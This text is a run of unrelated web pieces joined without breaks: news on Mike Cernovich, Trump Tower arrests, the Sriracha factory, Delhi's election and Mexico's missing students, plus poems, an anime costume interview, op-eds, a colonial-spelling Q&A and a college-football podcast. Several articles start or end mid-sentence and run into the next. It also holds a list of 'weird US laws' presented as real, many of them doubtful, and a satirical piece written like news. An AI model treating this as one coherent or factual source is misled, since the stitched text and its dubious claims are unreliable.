for a wedding reception, or even just attended a live concert in a Toronto bar, you’ve encountered his work. Pete Traynor, the sound of Toronto rock, now passed into music history. Edward Keenan writes on city issues ekeenan@thestar.ca. Follow: @thekeenanwire
Read more about:Mike Cernovich. Allan Smith/Business Insider Prominent pro-Donald Trump Twitter troll Mike Cernovich said he essentially deserved to be called what is considered to be the worst, and favored, insult among the so-called alt-right movement.
That insult is "cuck," a popular expression used by the alt-right, a movement that consists of white nationalists, reactionaries, men's rights activists, and staunch protectionists, among others. "Cuck" is derived from the word "cuckold."
Speaking to Business Insider at last week's Deploraball, Cernovich said being called a "cuck" is "pretty funny" considering how he had launched many similar attacks on people previously.
"It's karma," he said. "I troll, I'm trolled."
"That's the thing," he continued. "That's why when people in the media get trolled, and I'm like, 'Well, when you write about people you can f------ ruin a person's life. You got to own that. So if people want to f--- with you, it's only fair.' I definitely deserve to be trolled."
Cernovich, who gained prominence online for his often controversial pro-Trump commentary, which also included efforts in spreading conspiracies such as PizzaGate and others related to Democratic presidential nominee Hillary Clinton's health, was called a "cuck" by many after he had a falling out with another prominent member of the alt-right, Baked Alaska.
Cernovich targeted Baked Alaska, who also goes by Tim Treadstone (real name is Anthime Gionet), and asked him not to attend the Deploraball for posts he made online about Jewish people. The Deploraball, which took place last week, was the pre-inauguration, Washington, DC, event for the alt-right, and Cernovich was a top organizer.
That prompted Baked Alaska to go on a lengthy Twitter rant against Cernovich, capping off with a roughly 45-minute scorched-earth Periscope video in which he called Cernovich "a huge cuck" and "a massive cuck."
Many others subsequently joined in on the trolling of Cernovich.
The episode showed splits within the alt-right movement, which is unabashedly pro-Trump. Cernovich and others have begun to refer to themselves as the "new right."Two Poems: ‘Pallet Town’, ‘Manual for Starter Pokemon’
Jerrold Yam
January 27, 2016
Pallet Town
Consciousness does not always begin
with waking, but a quiet disorientation
of glinting metal, curtainless windows,
books on the floor like upturned palms.
The street is set with houses basking
in the company of cherry blossoms –
not mean or rowdy, but calibrated
pipettes of fuchsia and adoration.
It is the bed you have been resting in
for years. Someone is making coffee
and expecting you to rise. Your body
measures the character of this silence
but there are languages outside
of geometry. Your mouth is dry.
It has started to rain and this town
will not be how you remember it.
Manual for Starter Pokemon
I. Bulbasaur
Of all ancient-footed soil-sifters
you know these rituals best, first
the crinkled promise of a seed,
pact with the dark, then an embryo’s
bloodless feast on damp and sun.
When the shadow of your labours
eclipses your own, fertile bulb
cleaving open, you cannot ignore
how the language of nature is
an unnatural one: germination,
photosynthesis, self-serving pollination.
Nothing has changed. Your burden
is no less because it has bloomed.
II. Charmander
Never the flame, but restraint
of its reptilian temper. Make peace
where confrontation is poor excuse
for glory. Winged or quick-clawed,
the battles which matter are the ones
bargained with yourself, pride of identity,
unattainable flight. Yet what little room
for compromise in this Bildungsroman
is down to luck. Incinerate your bets.
Nothing comes from playing with fire.
III. Squirtle
Like all rivers, the one buried in you
has neither head nor tail, but endless
regard for past and future allegiances.
Take heed of its density, how a friend
resists or embraces water. Shell, carved from
calloused skin and bruises, is not armour
but to accept vulnerability. The same
is true of friendship: next to each other
but oceans apart.The full list here I selected the best ones.. it's so stupid, and yeah, they are real.in North Carolina, it is illegal for dogs and cats to fightin Massachusetts it is illegal to put tomatoes in clam chowdera bartender in Nebraska cannot sell beer unless he is simultaneously brewing a kettle of soupin Alabama it is illegal to wear a fake mustache that causes laughter during church servicesa man in Connorsville, Wisconsin is prohibited by law from firing a gun while his female companion is having an orgasmit is illegal in North Dakota to lie down and fall asleep while still wearing your shoesin Baltimore, Maryland it is illegal to take a lion to the moviesin Wyoming it is illegal for a woman to stand within 5 feet of a bar while drinkingin New York the penalty for jumping off a building is death‘Idiots’ cannot vote in New Mexicoyou cannot eat ice cream on a Sunday in Oregonit is illegal to get a fish drunk in Ohioin Virginia it is is illegal to tickle a womanin Indiana there is a law stating that Pi is exactly 3Three Demcratic Congressmen were arrested this morning while protesting outside President Trump's Manhattan residence, to demand action to shield young illegal immigrants from deportation.
Democratic Reps. Luis Gutierrez (Ill.), Raul Grijalva (Ariz.) and Adriano Espaillat (N.Y.) were all arrested while rallying outside Trump Tower.
This is not Gutierrez' first arrest.
As The Hill reports, he has been busy...
Tuesday marked the second time in five weeks that Gutierrez was arrested as part of an immigration protest. Gutierrez was also arrested in mid-August outside the White House during a rally commemorating the fifth anniversary of DACA. He had been arrested outside the White House twice before that, in 2010 and 2011, during similar protests. Gutierrez was additionally arrested at a Chicago Immigration and Customs Enforcement office in March while protesting deportations of DACA recipients.
The lawmakers and advocacy groups are pressing Trump to work with Congress to pass a “clean” version of the DREAM Act granting undocumented immigrants brought to the U.S. as children a path to citizenship, without including border security measures meant to placate immigration hawks.
“We’re taking the necessary steps to make it clear to President Trump, the Republicans and the Democrats that we will continue this peaceful fight for DREAMers and immigrants as long as it takes to enact legislation and put DREAMers in a safe place,” Gutierrez, the chair of the Congressional Hispanic Caucus Immigration Task Force, said in a statement.
Finaly, this comes just a day after House Minority Leader Nancy Pelosi was shouted down by protesters during a press conference in San Francisco on Monday who called for a "clean" DREAM Act, demonstrating the risks Democratic leaders face from the left for working with Trump...The proposed reversal and expansion of an oil pipeline has raised concern in Canada and in the U.S. from environmentalists opposed to further export of Canadian oil sands bitumen, and one reporter got an upfront-and-personal look at that outrage.
Enbridge’s Line 9 carries oil across the Greater Toronto Area; the National Energy Board is considering an application that would permit oil to travel westward to Montreal, and then on to Portland, Maine.
In June, 13 people were charged with trespassing and occupying an Ontario pumping station part of Line 9, and a Sun News reporter who attended a related court hearing on Tuesday says a supporter of the people charged farted in her face.
Faith Goldy recounted her ordeal on Sun News later that day, telling host Ezra Levant that she was on her phone in the courtroom when it happened.
“I’m just minding my own business, going about my little twitter feed and checking my emails when all of a sudden, something putrid emerges in the air,” she said. “There before me was not one of the charged but one of the supporters of the Line 9 protesters’ bottom.”
“So they farted in your face is what you’re saying,” said Levant.
“That is exactly what happened, Ezra,” Goldy responded.
Goldy’s efforts earlier in her report to get any comment from protesters were met with silence and the middle finger from a few. Levant, who was in Hamilton the previous week, also got some open hostility from protesters outside the courtroom.
It’s almost like environmentalists don’t trust Sun News to be fair to them in its reports.
Levant, meanwhile, tried to link the offending fart to climate change, noting that methane has a greater impact than carbon dioxide on temperatures. The U.S. Environmental Protection Agency notes that “pound for pound, the comparative impact of CH4 on climate change is over 20 times greater than CO2 over a 100-year period.”
“That fart that was directed at you, Faith, is 21 times more global warming-ish than if they had burned oil instead,” said Levant.
https://twitter.com/MikePMoffatt/status/370206261461004288Bottles are produced for Sriracha Hot Chili Sauce at the Huy Fong Foods plant on May 14 in Irwindale, Calif. (Photo: David McNew, Getty Images)
Hot sauce lovers rejoice! The Sriracha factory in Irwindale, Calif., is no longer considered a public nuisance and can stay open.
For months, Huy Fong Foods, maker of the iconic chili sauce, has battled the city of Irwindale to keep its factory running over complaints the fumes from the plants were making residents sick.
MORE: Why do we love Sriracha? Science!
City officials on Wednesday dismissed a lawsuit it filed against Huy Fong Foods over the fumes and dropped its declaration of the factory as a public nuisance, reports The San Gabriel Valley Tribune.
Huy Fong CEO David Tran said he has modified a ventilation system at the factory and gave written assurances to the city that the company was addressing residents' odor complaints, the Tribune reports.
The battle between Huy Fong and the city prompted offers for the company to move operations outside of California. Earlier this month, a delegation of legislators from Texas |
message.
Beside of course putting in it all of our respect for real athletes, we are creating this show with the intention of making it enjoyable for both anime lovers and figure skating lovers, so everything is a highlight (laughs). This time we also received messages and presents from people who normally don’t watch anime, and I really appreciate that. To be honest, it’s super interesting until the end! I think that when you look at the skaters doing their best, and shedding tears out of a sense of fulfillment or frustration, all other bad things in your life will suddenly seem unimportant. I hope you enjoy it to the end!
⌈Comments on the color design for the single characters⌋
Yuuri Katsuki
I use lots of black for Yuuri. Black costumes look nice on the ice, and actually it’s also the color that makes you look the most skilled when you skate (laughs). Maybe because many real skaters use black outfits when they practice? Regarding the training outfit he wears in episode 2, when he loses weight and starts to skate better, we talked about the fact that black makes you look thinner and cooler, so we decided to make it black. However, for his everyday clothes he uses various colors, also mild ones like yellow khaki and olive khaki.
Yuri Plisetsky
Yurio is a Russian punk, so his main colors are punkish colors like black, yellow and purple. His skate guards are also purple and black, and his cellphone is gold. He likes to wear leopard prints and such for his everyday clothes. In general, color patterns that make you look like a ‘bad guy’ (laughs).
Victor Nikiforov
For his costume I used a combination of purplish red and gold to bring out the atmosphere of a legend. However, his everyday clothes are rather plain. Flashy colors wouldn’t really look like Victor, so I’m paying attention to give him a high-class feeling by using subdued colors. I also create more colorful clothes and have them checked by the director, but in the end what passes the check are the ones with simple colors… I always think “Director~ I finished my repertoire~!!” (laughs)
Makkachin
I was requested to use colors fitting for an old dog, so I created 5 color variations based on brown, and the current one is the one that was chosen.
Phichit Chulanont
The free skate costume is mainly white and blue, colors that suit Phichit and make him look like a pleasant young man. The short program costume is a gorgeous red costume with delicate embroidery. The brown parts on his shoulders and under his knees are decorated with lace made of gold thread, but attaching patterns that have a definite shape is actually very difficult, so the photography staff had a hard time with that. Like for the sparkly parts, unlike when a space is covered by the same pattern, when the angle changes you have to draw it differently according to the position of the body…
Kenjirou Minami
His costume is fitting for an active, lively boy. The color was chosen in the image of a boy that’s not adult yet and is currently shifting from the junior to the senior class. I thought that using bright colors would make him look full of energy.
Guang-Hong Ji
It’s something that came up when we were discussing about the color of his edge cover, so it’s not a setting that is referred to in the anime, but he has a girlish side (laughs). For example, his cellphone is bright pink. Although he wears cute everyday clothes, his costumes are actually pretty sober.
Georgi Popovich
Since he is a ‘serious eccentric’, his main colors are black and purple like Carabosse. The costume in episode 7 is light blue because it’s when he is heartbroken, so I purposely chose an innocent color. In the beginning I considered using more of an idol-like color, but after trying a few things I decided to settle on a more sober one. I had fun working on Popovich, he’s very unique (laughs).
Christophe Giacometti
His theme is ‘sex appeal’, so his costumes are made to give that feeling too. Violet-blue gradation + sparkles, black and red + mesh, and such. I tried to choose colors that would express his overflowing sensuality (laughs).
Jean-Jacques Leroy
The director was also very torn regarding JJ’s short program costume. I created about 5 patterns, and the color that was chosen is a light lavender base with a dark purple part on the chest.
Leo de la Iglesia
His training outfit is a sober color, but his costume uses bright colors like yellow and orange. The other one is a mainly blue and black gorgeous costume, with sparkles scattered all over. Leo has a dark skin color and clear-cut features, he’s very cool.
Seung-gil Lee
According to the setting he’s not really interested in fashion, so normally he’s a very simple guy. For his everyday clothes he only wears black, but in contrast his short program outfit is flashy. It made me think “Seung-gil, what happened to you!?”
Emil Nekola
His free skate costume uses refreshing colors like blue and sky blue, that match his light hair color. For the short program he has a sexy costume. I had the impression that Emil was somewhat of a playboy, but when deciding the color for his short program costume I felt that his sexiness was a bit different than, for example, Giacometti’s.
Otabek Altin
He has a tough image. I love the scene where he saves Yurio in episode 10, he looks like a knight that came to save the princess (laughs). I wanted to make him look cool, so I dressed him all in black as suitable for someone who rides a bike.
Michele Crispino
Some people say that they expected him to be more flashy because he’s Italian, but his costumes have lots of mesh and spangles, so actually they are pretty flashy. Thanks to the transparency of the mesh he also looks sexy.
Consider supporting us on Patreon where you can pick the next translation!Environment: Most everyone knows about how celebrity climate change activists like Leonardo DiCaprio don't care enough about saving the planet to give up their massive yachts, private jets and energy-sucking mansions. Turns out DiCaprio and Co. have set the standard for the hoi polloi.
DiCaprio, while accepting his Oscar, called climate change "the most urgent threat facing our entire species," and told viewers that "we need to work collectively and stop procrastinating."
Collectively, but not if it inconveniences DiCaprio, that is. His fabulously glamorous lifestyle has a carbon footprint that is bigger than dozens of middle class families put together, but he's shown no sign that he'd give any of it up to prevent mankind's destruction.
A few years ago, DiCaprio famously celebrated New Year's Eve on a yacht in the Sydney Harbor, then flew with his pals to Las Vegas to ring in the New Year a second time. God only knows how that added to the threat.
But while DiCaprio is perhaps the most brazen climate change hypocrite, he's hardly the only celebrity or politician to issue fire-and-brimstone sermons about the horrors of climate change while living like there's no tomorrow. Barack Obama recently enlisted a private jet, a helicopter and 14 cars … to give a speech on climate change. Hasn't he heard of Skype?
Now it turns out that the public at large has adopted the same attitude. Sure, climate change is a cataclysm that will claim all human life unless we do something now! But don't ask me to change.
That was the finding of a new YouGov poll, which showed that 72% of Americans believe that human activities are causing climate change. And most of these people think it will "cause the end of the human race on Earth."
So congratulations, Leonardo, Al Gore and the army of climate change alarmists, on helping convince people of that the world is going to end.
But like DiCaprio, it turns out that few of these true believers actually do anything about it. YouGov asked them if they've taken even a few modest and obvious steps to live according to their beliefs.
Did they cut back on their use of fossil fuels? The survey found that 54% said no, and 15% said they'd actually increased their consumption of fossil fuels since learning about climate change.
How about eating red meat, which is supposed to be a no-no for climate change purists? YouGov found that 72% said they hadn't cut back. Almost half said they haven't even changed their recycling or composting habits.
The folks at YouGov concluded that "while most Americans are coming to terms with climate change, many aren't doing much, if anything, about it."
We have a slightly different take. What this suggests is that even those who say climate change is a problem don't really believe it, otherwise they'd do something more about it than take planes and buses to marches and glamorous charity auctions.
On the other hand, maybe they look at people like DiCaprio and Al Gore and countless others and conclude that if the popes of climate change don't have to change their lifestyles to fight global warming, why should we?Yesterday we reported on how Reddit’s people power led to some significant changes on one of the site’s subforums.
But now redditors in another popular subreddit have begun agitating for a very real, offline cause: marijuana legalization.
Yesterday redditor almantimes2 posted a link in the site’s marijuana subreddit to an online petition created by a pro-legalization organization called NORML.
The petition aims to show public support for the recent bill proposed by representatives Barney Frank and Ron Paul that would decriminalize marijuana at the federal level.
“This is definitely historical legislation,” almantimes2 wrote. “We need all the help we can get.”
Since then, the subreddit, which has over 90,000 subscribers, has helped the petition reach over 13,000 signatures.
So what will those signatures do?
“Nothing,” said Allen St. Pierre, executive director of NORML.
It’s not a legally binding petition and as such has little real-world political weight, St. Pierre said.
But that doesn’t make the campaign unimportant. What online petitions like this do — and the reason NORML organizes them — is create demonstrable momentum behind a movement.
Or to put it another way, they build buzz — something that would have been impossible 20 years ago. In the past the mainstream media cut down the legalization agenda “at the knees,” St. Pierre said.
Now, aggregation sites like Reddit decide for themselves what’s newsorthy.
“Bigger aggregators are almost always near the top of our referral service when we put out small but Internet friendly projects,” St. Pierre said.
And what’s more, mobilizing people to a similar degree just 20 years ago would have cost the organization tens of thousands of dollars.
“It would have put us in bankruptcy,” St. Pierre said.
For NORML’s communication director, Erik Altieri, that makes getting the word out much easier. All he needed to do was post the petition to NORML’s Twitter and Facebook pages and then watch it spread.
“The Reddit community just seems to have taken it up on their own,” Altieri said.
“This whole campaign is really a shining example of the power that lies in the viral nature of the Internet and social media,” he added.
So while signatures on a petition do not necessarily equal votes in congress, they do “drive the discussion,” St. Pierre, the exectuive director, said.
And on Reddit, that is certainly worth an upvote. Or uptoke, if you prefer.Question
Why did American colonists spell so poorly?
Answer
Although colonial Americans did not spell consistently, we should not assume that they were careless writers. The invention of the printing press and the Reformation’s encouragement of literacy helped to standardize spelling, but European nations and their colonies only slowly established consistent spelling rules. As late as the Revolution, the mix of cultures and languages and the small but growing number of presses slowed the progress of spelling standards in America.
According to the 1790 census, about 20% of the new nation’s population spoke a language other than English as their first language.
Not all residents of Anglo-America used English as their first language. The British colonies contained French- and German-language schools, and many Americans read non-English newspapers and attended non-English religious services. In 1751, for example, Benjamin Franklin expressed concern about the proliferation of German-language newspapers, legal documents, and street signs in culturally diverse Pennsylvania. Even after the Revolution, a significant number of Americans continued to speak a native language other than English. In 1777 the Articles of Confederation were printed in French, and the Continental Congress printed some proceedings in German. According to the 1790 census, about 20% of the new nation’s population spoke a language other than English as their first language. Because of the assortment of languages in the new nation, residents placed little emphasis on standardization of spelling.
In the early republic, however, language became an important consideration in creating a culturally distinctive nation. As they tried to create their own identity, a few Americans began to distinguish American language from English through changes in spelling and punctuation. One of the biggest proponents of language reform was Noah Webster, a New England lawyer and scholar. Webster argued that even the smallest regional differences in spelling and pronunciation could turn into political difference, resulting in dangerous factions. He traveled around the U.S. giving lectures about standardizing the English language, and in his travels he met Benjamin Franklin, who shared Webster’s concerns about language reform. Franklin proposed deleting the letters c, w, y, and j and adding six new letters to the American alphabet. Webster, however, did not like the idea of adding or subtracting letters, but rather he wanted to simplify the spelling of words—changing favour to favor, for example, or replacing the -re with -er in centre/center and theatre/theater, in order to match spelling with pronunciation. Webster’s speller, which he first published in 1783, and his American Dictionary of the English Language (1828) helped to facilitate homogenization. Also in this time period, printers began to standardize spelling in order to make the printing process more efficient.
Not all of Webster’s standardization ideas took. For example, words such as “through,” “bureau,” and “laugh” are still not spelled as they sound. Moreover, American reformers instituted spelling standards gradually. Manuscripts from the 19th and 20th centuries still reveal irregular spelling, although we can attribute much of that to inconsistent access to education and uneven educational standards. Luckily these days we have spell check!Upton Sinclair once said “it is difficult to get a man to understand something when his salary depends upon his not understanding it.” Americans across the country wonder why Republicans seem incapable of understanding that trickle-down economics don’t in fact trickle down. No matter how much evidence demonstrates that regressive tax cuts don’t lead to growth and jobs, they seem unable to admit it. The answer is simple: their “salaries” depend upon them not understanding it.
Take the horror show that is the House GOP tax plan, which includes a provision that would reduce the so-called “pass-through” tax rate. There is no fathomable reason why President Donald Trump and Republicans in Congress would want to cut the so-called “pass-through” tax rate, if it didn’t improve the president’s own bottom line—and the bottom lines of Republican donors. Pass-throughs are used almost exclusively by the richest one percent of Americans to deduct losses outside their businesses and, by avoiding corporate taxation, to pay the IRS less than they would otherwise owe. The typical beneficiaries of this tax policy aren’t small business owners, they’re hedge fund managers, law firms, and real estate developers like Donald Trump–who personally owns 500 of these “pass-through” entities.
This plan is about what’s good for Trump and his friends. At a time of historic inequality, when the single richest family owns more wealth than the bottom 40 percent of Americans, Donald Trump has proposed raising taxes on the poor by 2 percent. At the same time, he wants to reduce taxes on the rich—by doing away with the estate tax, which only benefits the wealthiest 0.2 percent of Americans; by lowering the top marginal tax rate; by eliminating the alternative minimum tax. Consider this: If that tax had not existed back in 2005, Donald Trump’s own tax liability would have plummeted by almost 90 percent—from $38 million to just $5 million, or just 3 percent of his income for that year.
None of this is accidental, and it isn’t happening because Democrats and Republicans disagree about how to grow our economy. The House GOP tax plan was designed this way because Trump and the people around him want to exploit our tax system for personal benefit. Hiking taxes on the poor while slashing taxes for the ultra-rich is exactly the sort of unconscionable, morally bankrupt behavior we should expect from someone who only ran for President—and now primarily uses the White House—to enrich himself. The kind of person who hires friends, allows them to charter private jets for routine travel, and then sticks taxpayers with the bill.
Instead of sticking the working poor with higher taxes so the ultra-wealthy can buy bigger yachts, we should be looking at broadly beneficial reforms to ensure everyone pays their fair share. American corporations, for example, benefit from a taxpayer-funded military that protects their property, a taxpayer-funded education system that trains their workforce, and so on. They should pay their fair share of those costs, and if they were paying the statutory corporate tax rate of 35 percent, they might be. But because of loopholes enacted over the past fifty years, the average effective corporate tax rate is less than 25 percent and some corporations pay substantially less than that, and Republicans want to cut their taxes further. In the meantime, inequality has soared, and the corporate share of tax revenues has fallen. This is destabilizing, and speaks to why so many families across the country are struggling harder than ever to make ends meet, while corporate profits reach record highs.
We need to fix that. But the truth is, fixing it is not on the table, because it’s not what Donald Trump and Paul Ryan want this tax debate to accomplish. Their incomes and wealth depend on denying that trickle-down economics is a sham. On ignoring evidence that cutting tax rates for billionaires doesn’t help working people, or create jobs. On forgetting that the economy collapsed at the end of the last Republican tax cut regime. Never has an idea with less merit than trickle down economics outlived so many of its own failures. It survives only because the Republican Party’s lifeblood requires them to pretend otherwise. Because Upton Sinclair was right.
Here’s what I’ve learned: politicians who aren’t arguing in good faith don’t respond to arguments, they respond to power. We, as Democrats need to marshal all of the power we have to defeat this proposal, and people across the country who earn less than a million dollars per year should exert theirs as well, by demanding that their Senators and Representatives stand with them.
Keith Ellison represents Minnesota’s 5th Congressional District, and is deputy chairman of the Democratic National Committee.Sound engineering has officially been declared the grumpiest profession in the world at this week’s International Jobs Summit in Tokyo, Japan.
According to the keynote speaker, Steven Jobless, sound engineers have reached a level of grumpiness only previously seen in roles held by “post internet librarians” and a “specific member of the Seven Dwarves”.
“The grumpiness of sound engineers almost definitely stems from the fact that about 99% of them are failed musicians and DJs,” explained Jobless during his speech. “They’ve hung onto their dreams by staying close to their desired profession, much like a child will wear a football kit to a football match hoping that by some fluke of nature they’ll be asked to come on as second half substitute, and in the process they’ve built a level of resentment similar to that of fat security guards who didn’t make the police.”
“Sound mixing booths and DJ boxes are both highly stressful environments so when we mix the stress with the resentment felt for the actual artists we get a level of working environment stress that is far greater than any other profession,” continued Jobless. “It’s what we call in the industry ‘the cunt sound engineer’ level of stress.”
Wunderground also asked Ryan Hobbs, a local nightclub sound engineer, what he thought about the latest accusations against his profession, to which he responded, “Fuck off we’re not grumpy, DJs, musicians and everyone else involved in the entertainment industry are just pricks.”
Other notable extracts from the summit seen barmen declared the drunkest profession in the world, bankers the most likely profession to steal from the public and politicians and senior management civil servants the most likely profession to be aliens or lizard people.This story is about Published Sep. 2016
Where did college football defense go? California schools leave Horns, Aggies with questions on D Share This Story On... Twitter
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Louis DeLuca/Staff Photographer Texas linebacker Anthony Wheeler (45) and defensive tackle Poona Ford (95) pursue Notre Dame quarterback DeShone Kizer (14) during the Notre Dame Fighting Irish vs. the University of Texas Longhorns NCAA football game at Darrell K. Royal Memorial Stadium in Austin on Sunday, September 4, 2016. (Louis DeLuca/The Dallas Morning News)
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Can't see the podcast? Tap here on mobile. Sherrington: I've never been blown away by Vance Bedford as a defensive coordinator. When the head coach, that's his particular forte side of the ball - and obviously defense is Charlie's side, I obviously give that guy a little extra credit there because I'm thinking this is really the head coach's defense, not Vance Bedford. We've seen what's happened at Texas with a previous offensive coordinator at Texas... Is that what's going to have to happen here on defense? Is someone going to have to go out and get a new defensive coordinator for Charlie? Carlton: That's a great question: Are we looking at a Shawn Watson situation? It may be a Shawn Watson situation but one that's a little more subtle. Not a dramatic announcement - more along the lines that if Charlie Strong's not calling the defense, he's definitely going to be sitting in in the defensive coaches' room a lot more. This is how Strong made his [name for himself] at Florida, on teams that won a national championship, concocting things. Even at Louisville where he had Vance Bedford, he had a top-ranked defense in 2012.
For defensive-minded Charlie Strong, surrendering 50 points isn't OK; how can he fix it?
This might be the sort of situation where he kind of takes over without the announcement. Kinda what Gary Patterson does at TCU - it's clear that's Gary Patterson's defense. Charlie Strong said back in August, 'It's Vance Bedford's defense, he's the one calling it.' Looking at what Texas has to face in the Big 12: Davis Webb is a nice quarterback and given his size and measurable, he may go in the first round of the draft. Where did CFB defense go? Sherrington: The thing that's striking to me this year is seeing these teams play such poor defense and give up so many points.... [A&M] gave up over 200 yards of total offense in the fourth quarter against UCLA. We're seeing it across the country, with the Texas-Cal game [even though] I don't think Texas defense is great. But it's better than that, isn't it? Carlton: There was a lot of confusion and some of the things Texas did in that game? They're giving soft cushions and Davis Webb will take full advantage of it. They're really - the guys people were raving about, [Malcolm] Roach and [Breckyn] Hager, as specialists. [Webb] didn't even play in the first half and next thing you know Davis Webb is in the comfort zone. He's not getting pressure. Texas had a couple sacks but he didn't look uncomfortable back there for all the talk about trying to force him. He's not the most nimble guy, to be charitable, and when he's in a rocking chair back there, he's going to hit you hard, do what he does. He's got a former walk-on receiver catching 12 passes for 196 yards. Twitter: @bhorn55 | @KSherringtonDMN | @ChuckCarltonDMN | @BallzyPodcast Facebook: Ballzy Get the latest college news here | Follow dmn_colleges on Twitter
This Topic is Missing Your Voice.Delhi is an unusual election in many ways. It fact it is an outlier by any standard of Indian voting behaviour seen in the recent past.
The reason is not the landslide win for Arvind Kejriwal’s Aam Aadmi Party (AAP), which gives it a 60-plus seat majority in a 70-seat assembly. What makes Delhi different is that, possibly for the first time in several decades, one party is likely to receive more that 50 percent of the popular vote.
Narendra Modi’s vote in 2014 was 31 percent for the BJP. Akhilesh Yadav’s vote in 2012 was under 30 percent for a majority. Almost no party which swept to power has got more than 35-40 percent of the popular vote.
Voting trends available till around 10.30 am, which have held all through the morning, show AAP with 53.2 percent of the total vote, against the BJP’s 33.8 percent and Congress’s 8.5 percent. The rest got peanuts, if at all.
Seldom has one party got this kind of mandate ever in a fragmented Indian election. This is a mandate like almost no other.
But, first, it is necessary to assess what happened, before we discuss the implications of this vote.
The BJP, despite the pathetic seat count, has actually held on to its voter base. It got more votes than what it did the last time, but it got almost none of the incremental vote. It did not benefit from the collapse of the Congress vote or from the new voters who entered EVM booths for the first time this time This means it has a base to build on, but must actively woo the new demographic in the coming months and years to stay relevant.
The Congress has been trounced badly. It has seen its 2013 vote down to a third of its previous level, which means the party is rapidly becoming irrelevant in Delhi, too – a state it ruled with distinction for 15 years upto December 2013.
That only party (BSP) got past the 1 percent mark tells its own story. It means Delhi is beginning to transcend the caste and community divide. Neither INLD (Jats), nor the Akali Dal (Sikhs) got to 1 percent.
Looked at another way, the Delhi vote is an even bigger threat to the regional parties in other parts of the country than just for the BJP.
Probably for the first time ever, though we saw glimpses of it in the May 2014 elections too, a state is voting more on class lines, even though AAP has demonstrated a hold among all classes. The underclass and the minorities were the bedrock of AAP’s support, even though it did well in all segments.
What unites all classes (at least temporarily) is probably the idea of less corruption and good government, but this will not endure. Any state with finite resources will have to decide how to allocate its spending. It cannot pay Pappu, Rahim and Singh uniformly. It has to choose its priorities, and, in the process, it can alienate some segments.
Logically, the best way forward for AAP to create a long-term viability for its political position is to concentrate on delivering public goods – law and order, clean water, reduction of corruption, good social and physical infrastructure, including better education and health facilities – and go easy on private goods (freebies, cheaper power, food and other subsidies). The AAP manifesto has, however, promised too much here too.
AAP will succeed not by extending the reach of the state endlessly, but by redefining its role in order to allow priority to the provision of public goods and services. Private goods and subsidies should be the exception. But its aam aadmi base will be demanding more freebies.
This is where AAP’s 50 percent plus vote share is worrisome. This means everybody has voted for it for his or her own reason, and so the chances of being able to meet everybody’s excessive expectations are remote.
I would not like to be in Arvind Kejriwal’s shoes right now. His mandate is truly scary.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Story highlights Officials tell families of missing students about the arrest after a day of protests
Families reject official accounts and demand proof
Cesar Nava Gonzalez had been on the run since the students disappeared, authorities say
Nava allegedly helped round up the 43 students and hand them over to a drug gang
A top local police official in Mexico was arrested in connection with the disappearance of 43 college students, authorities said.
Investigators apprehended Cesar Nava Gonzalez, the former deputy director of the Cocula police department who had been on the run since the September disappearance of the students, the federal prosecutor's office said.
Nava allegedly was called to the neighboring town of Iguala, in Guerrero state, and allegedly helped round up the 43 students and hand them over to a drug gang to be massacred, authorities said.
The police chief of Iguala still has not been apprehended, authorities said.
The Prosecutor General's office informed families of the missing students about Nava's arrest on Friday, a day after massive protests to denounce political corruption and impunity in the case.
The 43 missing students went missing September 26 after they and others traveled in buses about 77 miles from their rural teachers college in Tixtla to Iguala. They went there to protest a speech by the mayor's wife.
But a violent clash with police left six people dead, including three other students.
Photos: Protests over missing Mexican students Photos: Protests over missing Mexican students People march Monday, January 26, during a protest in Mexico City for the 43 college students who went missing four months ago in the Mexican state of Guerrero. A day later, Mexican Attorney General Jesus Murillo Karam said there is "legal certainty" that the students "were abducted, killed, burned and thrown into the San Juan River, in that order." At least 99 suspects have been detained so far. Hide Caption 1 of 22 Photos: Protests over missing Mexican students People march January 26 in Mexico City. The students attended Escuela Normal Rural de Ayotzinapa, a rural teachers college known for its political activism. Hide Caption 2 of 22 Photos: Protests over missing Mexican students Hundreds of police officers in riot gear block a street during several marches in Mexico City on January 26. Hide Caption 3 of 22 Photos: Protests over missing Mexican students A masked protester waves a Mexican national flag during protests in Mexico City on January 26. Hide Caption 4 of 22 Photos: Protests over missing Mexican students A man smashes the window of a traffic patrol vehicle during a protest in Chilpancingo, Mexico, on Thursday, January 15. Hide Caption 5 of 22 Photos: Protests over missing Mexican students Military police spray tear gas during a protest in Iguala, Mexico, on Monday, January 12. Hide Caption 6 of 22 Photos: Protests over missing Mexican students A man burns an effigy of Mexican President Enrique Pena Nieto during a protest in Mexico City on Wednesday, December 31. Hide Caption 7 of 22 Photos: Protests over missing Mexican students Hundreds of residents of Ayutla, Mexico, and parents of the missing students participate in a protest on Wednesday, December 17. Hide Caption 8 of 22 Photos: Protests over missing Mexican students People gather during the protest in Ayutla on December 17. Hide Caption 9 of 22 Photos: Protests over missing Mexican students Riot police confront protesters near the airport in Mexico City on Thursday, November 20. Hide Caption 10 of 22 Photos: Protests over missing Mexican students A protester holds up a poster parodying Pena Nieto during a rally in Mexico City on November 20. Hide Caption 11 of 22 Photos: Protests over missing Mexican students A woman holds flowers and a candle during the November 20 demonstration. Hide Caption 12 of 22 Photos: Protests over missing Mexican students Police guard the National Palace in Mexico City as protesters and police clash on November 20. Hide Caption 13 of 22 Photos: Protests over missing Mexican students Demonstrators clash with riot police on November 20. Hide Caption 14 of 22 Photos: Protests over missing Mexican students An injured protester gets first aid on November 20. Hide Caption 15 of 22 Photos: Protests over missing Mexican students People on the base of a monument watch and cheer on marchers in Mexico City on November 20. Hide Caption 16 of 22 Photos: Protests over missing Mexican students A protester cries as police attempt to detain her and human rights observers try to reach her during a march near the Mexico City airport on November 20. Hide Caption 17 of 22 Photos: Protests over missing Mexican students A protester lights a firework as demonstrators march on November 20. Hide Caption 18 of 22 Photos: Protests over missing Mexican students Riot police surround protesters who had thrown Molotov cocktails and destroyed vehicles in Mexico City on November 20. Hide Caption 19 of 22 Photos: Protests over missing Mexican students A police officer falls after a protester threw a Molotov cocktail on November 20. Hide Caption 20 of 22 Photos: Protests over missing Mexican students Protesters gather November 20 at the Angel of Independence monument in Mexico City. Hide Caption 21 of 22 Photos: Protests over missing Mexican students Students place school desks with photos of the missing students in a plaza at Mexico's National Autonomous University on November 20. Hide Caption 22 of 22
JUST WATCHED Unsolved cases common in Mexico Replay More Videos... MUST WATCH Unsolved cases common in Mexico 02:22
JUST WATCHED Protesters throw Molotov cocktails Replay More Videos... MUST WATCH Protesters throw Molotov cocktails 02:32
